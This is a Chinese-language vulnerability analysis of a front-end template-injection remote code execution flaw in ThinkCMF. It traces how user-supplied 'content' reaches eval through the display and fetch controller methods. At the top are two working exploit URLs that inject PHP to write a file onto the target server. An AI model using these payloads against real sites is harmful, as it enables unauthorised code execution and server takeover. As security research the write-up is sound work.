ThinkCMF 前台模板注入 RCE

http://cmf.com/index.php/index/display/?templateFile=README.md&content=%3C?php%20file_put_contents(%27i.php%27,%27%3C?php%20phpinfo();%20?>%27);

http://cmf.com/index.php/index/fetch/?content=%3C?php%20file_put_contents(%27i.php%27,%27%3C?php%20phpinfo();%20?%3E%27);

|--admin                      管理后台URL重定向目录，你可以将文件夹名改为任何你喜欢的
  |--themes                   后台模板文件目录
|--application                应用目录
  |--Admin                    后台管理应用
  |--Api                      公共接口
  |--Asset                    资源管理应用
  |--Comment                  评论应用
  |--Common                   应用公共模块
  |--Portal                   门户应用
    |--Controller             必须目录，存放应用的操作模块如：IndexController.class.php
  	|--Conf                   可选，应用配置文件存放目录，如应用无配置文件则不需要
  	|--Common                 可选，应用函数库，如无则不需要
  	|--Lang					  多语言包（可选）
  	|--Menu 				  后台菜单（可选）
  	|--Model  				  模型（可选）
  	|--nav.php				  前台导航文件（可选）
|--data                       各类数据存放目录，包括缓存数据
|--simplewind                 核心包，无特殊情况请勿改动
|--public                     静态文件存放包，包含bootstrap资源
|--themes                     前台模板文件目录

class IndexController extends HomebaseController {
    public function index($name) {
        echo "Hello, $name~<br>" . "This is index of IndexController.";
    }
}

class IndexController extends HomebaseController {
    class HomebaseController extends AppframeController {
        class AppframeController extends Controller {
            abstract class Controller {

// abstract class Controller

public function __construct() 			// 架构函数，取得模板对象实例
public function __destruct()
public function __get($name)
public function __set($name, $value)
public function get($name = '')  		// 取得模板显示变量的值
public function __isset($name)  		// 检测模板变量的值
public function __call($method, $args) 	// 没戏，写死了，没有实现动态调用

//  class AppframeController
    
public function _empty()				// 爆了个页面不存在的错
public function theme($theme)			// 模板主题设置
    
// class HomebaseController
    
public function __construct()  			// 覆盖掉父类的
public function display($templateFile = '', $charset = '', $contentType = '', $content = '', $prefix = '')  // 加载模板和页面输出 可以返回输出内容
public function parseTemplate($template = '')  // 自动定位模板文件
public function fetch($templateFile = '', $content = '', $prefix = '')  // 获取输出页面内容

public function display($templateFile = '', $charset = '', $contentType = '', $content = '', $prefix = '') {
    parent::display($this->parseTemplate($templateFile), $charset, $contentType, $content, $prefix);
}

// HomebaseController.class.php line 170
if (is_file($template)) {
    return $template;
}

/**
 * 模板显示 调用内置的模板引擎显示方法，
 * @access protected
 * @param string $templateFile 指定要调用的模板文件
 * 默认为空 由系统自动定位模板文件
 * @param string $charset 输出编码
 * @param string $contentType 输出类型
 * @param string $content 输出内容
 * @param string $prefix 模板缓存前缀
 * @return void
*/
protected function display($templateFile = '', $charset = '', $contentType = '', $content = '', $prefix = '') {
    $this->view->display($templateFile, $charset, $contentType, $content, $prefix);
}

/**
 * 加载模板和页面输出 可以返回输出内容
 * @access public
 * @param string $templateFile 模板文件名
 * @param string $charset 模板输出字符集
 * @param string $contentType 输出类型
 * @param string $content 模板输出内容
 * @param string $prefix 模板缓存前缀
 * @return mixed
 */
public function display($templateFile = '', $charset = '', $contentType = '', $content = '', $prefix = '') {
    G('viewStartTime');
    // 视图开始标签
    Hook::listen('view_begin', $templateFile);
    // 解析并获取模板内容
    $content = $this->fetch($templateFile, $content, $prefix);
    // 输出模板内容
    $this->render($content, $charset, $contentType);
    // 视图结束标签
    Hook::listen('view_end');
}

if ('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板，默认为 Thinkphp
    $_content = $content;
    // 模板阵列变量分解成为独立变量
    extract($this->tVar, EXTR_OVERWRITE);
    // 直接载入PHP模板
    empty($_content) ? include $templateFile : eval('?>' . $_content);
} else {
    // 视图解析标签
    $params = array('var' => $this->tVar, 'file' => $templateFile, 'content' => $content, 'prefix' => $prefix);
    Hook::listen('view_parse', $params);
}

// 编译模板内容
$tmplContent = $this->compiler($tmplContent);
Storage::put($tmplCacheFile, trim($tmplContent), 'tpl');

// 添加安全代码
$tmplContent = '<?php if (!defined(\'THINK_PATH\')) exit();?>' . $tmplContent;
// 优化生成的php代码
$tmplContent = str_replace('?><?php', '', $tmplContent);  // 这一句反而帮了倒忙

<?php if (!defined('THINK_PATH')) exit(); file_put_contents('i.php','<?php phpinfo(); ?>');

public function fetch($templateFile = '', $content = '', $prefix = '') {
    $templateFile = empty($content) ? $this->parseTemplate($templateFile) : '';
    return parent::fetch($templateFile, $content, $prefix);
}